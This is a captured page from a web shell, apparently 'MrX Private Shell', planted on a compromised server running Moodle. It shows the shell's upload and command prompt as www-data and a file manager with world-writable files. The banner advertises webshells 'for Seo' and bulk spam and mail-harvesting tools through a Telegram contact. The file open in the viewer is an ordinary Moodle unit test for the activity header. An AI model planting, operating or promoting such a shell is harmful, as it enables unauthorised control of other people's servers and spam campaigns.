__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core\output;

/**
 * Unit tests for activity header
 *
 * @package   core
 * @category  test
 * @coversDefaultClass \core\output\activity_header
 * @copyright 2021 Peter
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
final class activity_header_test extends \advanced_testcase {

    /**
     * Test the title setter
     *
     * @dataProvider set_title_provider
     * @param string $value
     * @param string $expected
     * @covers ::set_title
     */
    public function test_set_title(string $value, string $expected): void {
        global $PAGE, $DB;
        $this->resetAfterTest();
        $course = $this->getDataGenerator()->create_course(['enablecompletion' => true]);
        $assign = $this->getDataGenerator()->create_module('assign', [
            'course' => $course->id,
            'completion' => COMPLETION_TRACKING_AUTOMATIC,
            'completionview' => 1
        ]);
        $this->setAdminUser();

        $cm = $DB->get_record('course_modules', ['id' => $assign->cmid]);
        $PAGE->set_cm($cm);
        $PAGE->set_activity_record($assign);

        $header = $PAGE->activityheader;
        $header->set_title($value);
        $data = $header->export_for_template($PAGE->get_renderer('core'));
        $this->assertEquals($expected, $data['title']);
    }

    /**
     * Provider for the test_set_title unit test.
     * @return array
     */
    public static function set_title_provider(): array {
        return [
            "Set the title with a plain text" => [
                "Activity title", "Activity title"
            ],
            "Set the title with a string with standard header tags" => [
                "<h2>Activity title</h2>", "Activity title"
            ],
            "Set the title with a string with multiple header content" => [
                "<h2 id='heading'>Activity title</h2><h2>Header 2</h2>", "Activity title</h2><h2>Header 2"
            ],
        ];
    }

    /**
     * Test setting multiple attributes
     *
     * @covers ::set_attrs
     */
    public function test_set_attrs(): void {
        global $DB, $PAGE;

        $this->resetAfterTest();

        $course = $this->getDataGenerator()->create_course(['enablecompletion' => true]);
        $assign = $this->getDataGenerator()->create_module('assign', [
            'course' => $course->id,
            'completion' => COMPLETION_TRACKING_AUTOMATIC,
            'completionview' => 1
        ]);

        $cm = $DB->get_record('course_modules', ['id' => $assign->cmid]);
        $PAGE->set_cm($cm);
        $PAGE->set_activity_record($assign);

        $PAGE->activityheader->set_attrs([
            'hidecompletion' => true,
            'additionalnavitems' => new \url_select([]),
            'hideoverflow' => true,
            'title' => 'My title',
            'description' => 'My description',
        ]);

        $renderer = $PAGE->get_renderer('core');
        $export = $PAGE->activityheader->export_for_template($renderer);

        $this->assertEquals('My title', $export['title']);
        $this->assertEquals('My description', $export['description']);
        $this->assertEmpty($export['completion']); // Because hidecompletion = true.
        $this->assertEmpty($export['additional_items']); // Because hideoverflow = true.
    }

    /**
     * Test calling set_attrs with an invalid variable name
     *
     * @covers ::set_attrs
     */
    public function test_set_attrs_invalid_variable(): void {
        global $PAGE;

        $PAGE->activityheader->set_attrs(['unknown' => true]);
        $this->assertDebuggingCalledCount(1, ['Invalid class member variable: unknown']);
    }

    /**
     * Data provider for {@see test_get_heading_level()}.
     *
     * @return array[]
     */
    public static function get_heading_level_provider(): array {
        return [
            'Title not allowed' => [false, '', 2],
            'Title allowed, no title' => [true, '', 2],
            'Title allowed, empty string title' => [true, ' ', 2],
            'Title allowed, non-empty string title' => [true, 'Cool', 3],
        ];
    }

    /**
     * Test the heading level getter
     *
     * @dataProvider get_heading_level_provider
     * @covers ::get_heading_level
     * @param bool $allowtitle Whether the title is allowed.
     * @param string $title The activity heading.
     * @param int $expectedheadinglevel The expected heading level.
     */
    public function test_get_heading_level(bool $allowtitle, string $title, int $expectedheadinglevel): void {
        $activityheaderstub = $this->getMockBuilder(activity_header::class)
            ->disableOriginalConstructor()
            ->onlyMethods(['is_title_allowed'])
            ->getMock();
        $activityheaderstub->method('is_title_allowed')->willReturn($allowtitle);
        $activityheaderstub->set_title($title);
        $this->assertEquals($expectedheadinglevel, $activityheaderstub->get_heading_level());
    }

    /**
     * Tests that is_title_allowed returns correctly based on the theme default and current layout options.
     *
     * The current layout has precedence, if the notitle option is set, otherwise the theme default is used if set.
     *
     * @param array $themeoptions The activityheader options array set in the theme.
     * @param array $layoutoptions The activitityheader options array set in the layout.
     * @param bool $allowed The expected return value of is_title_allowed.
     * @covers ::is_title_allowed
     * @dataProvider get_title_options
     * @return void
     */
    public function test_is_title_allowed(array $themeoptions, array $layoutoptions, bool $allowed): void {
        $themeconfig = $this->getMockBuilder(\theme_config::class)
            ->disableOriginalConstructor()
            ->getMock();
        $themeconfig->activityheaderconfig = $themeoptions;
        $page = $this->getMockBuilder(\moodle_page::class)
            ->getMock();
        // Mocking the magic_get_layout_options() and magic_get_theme() methods directly doesn't work,
        // so mock the whole magic __get() method and just return the test values for those properties.
        $page->expects($this->any())->method('__get')->willReturnCallback(fn($name) => match($name) {
            'layout_options' => ['activityheader' => $layoutoptions],
            'theme' => $themeconfig,
            default => null
        });
        $user = new \stdClass();

        $activityheader = new activity_header($page, $user);
        $this->assertEquals($allowed, $activityheader->is_title_allowed());
    }

    /**
     * Return scenarios for test_is_title_allowed.
     *
     * Test each combination of the 'notitle' option being unset, true and false in each of the theme and layout options.
     *
     * @return array[]
     */
    public static function get_title_options(): array {
        return [
            'Undefined in theme, undefined in layout' => [[], [], true],
            'Undefined in theme, disallowed in layout' => [[], ['notitle' => true], false],
            'Undefined in theme, allowed in layout' => [[], ['notitle' => false], true],
            'Disallowed in theme, undefined in layout' => [['notitle' => true], [], false],
            'Disallowed in theme, disallowed in layout' => [['notitle' => true], ['notitle' => true], false],
            'Disallowed in theme, allowed in layout' => [['notitle' => true], ['notitle' => false], true],
            'Allowed in theme, undefined in layout' => [['notitle' => false], [], true],
            'Allowed in theme, disallowed in layout' => [['notitle' => false], ['notitle' => true], false],
            'Allowed in theme, allowed in layout' => [['notitle' => false], ['notitle' => false], true],
        ];
    }
}

Filemanager

Name Type Size Permission Actions
progress_trace Folder 0777
activity_header_test.php File 8.28 KB 0777
choicelist_test.php File 10.13 KB 0777
html_writer_test.php File 10.19 KB 0777
icon_system_fontawesome_test.php File 2.22 KB 0777
icon_system_test.php File 8.18 KB 0777
language_menu_test.php File 6.72 KB 0777
mustache_clean_string_helper_test.php File 2.01 KB 0777
mustache_helper_collection_test.php File 7.43 KB 0777
mustache_quote_helper_test.php File 2.92 KB 0777
mustache_template_finder_test.php File 7.36 KB 0777
mustache_template_source_loader_test.php File 17.88 KB 0777
participants_action_bar_test.php File 3.11 KB 0777
user_picture_test.php File 4.4 KB 0777
xhtml_container_stack_test.php File 4.03 KB 0777
Filemanager